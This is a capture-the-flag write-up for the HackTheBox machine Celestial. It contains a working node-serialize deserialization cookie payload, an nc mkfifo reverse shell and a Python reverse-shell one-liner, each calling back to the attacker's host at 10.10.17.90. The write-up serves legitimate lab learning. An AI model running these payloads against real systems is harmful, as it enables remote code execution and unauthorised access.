HackTheBox - Celestial
Description
Hello hackers, I hope you are doing well. We are doing Celestial from HackTheBox. We exploit a deserialization vulnerability in a node.js website and get foothold. For root we find a cronjob running a python script that we can write to, so we add a python reverse shell and get root privileges.
Enumeration
nmap
We start a nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
Nmap scan report for 10.10.10.85
Host is up (1.1s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
There is a web server on port 3000 running node.js.
Web
Let’s check the web server.
It gave us 404, refreshing the page gives something different.
The reason for that is that we got a cookie from the website.
The cookie looks base64 encoded, let’s try to decode it.
1
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}
We can see different key/value pairs, two of them get returned to us: username
and num
.
Foothold
Since this is Node.js
, let’s see if it’s vulnerable to Deserialization attack
I found the following payload in PayloadsAllThings
1
_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 4 10.10.17.90', function(error,stdout, stderr) { console.log(stdout) });}()
We replace dummy
with the code above:
1
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 5 10.10.17.90', function(error,stdout, stderr) { console.log(stdout) });}()","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}
And base64 encode the payload.
1
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdwaW5nIC1jIDUgMTAuMTAuMTcuOTAnLCBmdW5jdGlvbihlcnJvcixzdGRvdXQsIHN0ZGVycikgeyBjb25zb2xlLmxvZyhzdGRvdXQpIH0pO30oKSIsImNvdW50cnkiOiJJZGsgUHJvYmFibHkgU29tZXdoZXJlIER1bWIiLCJjaXR5IjoiTGFtZXRvd24iLCJudW0iOiIyIn0=
I tried multiple command like id
and uname
but didn’t get anything back, so I edited the command to ping
to see if it get’s executed and we don’t get a reply.
We received the ICMP packets, which means the target reach us.
Now let’s replace the ping -c 10.10.10.10
command with a reverse shell. I used nc mkfifo
.
1
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.17.90 9000 >/tmp/f', function(error,stdout, stderr) { console.log(stdout) });}()","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}
Encode the payload, setup a listener and send the request.
We got a shell as sun
, let’s upgrade to a fully tty shell using python.
1
2
3
4
5
6
7
8
9
10
11
12
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
sun@celestial:~/.ssh$ export TERM=xterm
export TERM=xterm
sun@celestial:~/.ssh$ ^Z
zsh: suspended nc -lvnp 9000
┌─[sirius@ParrotOS]─[~/CTF/www]
└──╼ $ stty raw -echo; fg 148 ⨯ 1 ⚙
[1] + continued nc -lvnp 9000
sun@celestial:~/.ssh$
Privilege Escalation
Running pspy64
we see a cronjob executing a python script
The script is owned by sun
so we can edit it as we like.
We add the following script to the file and wait for a reverse shell.
1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.90",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).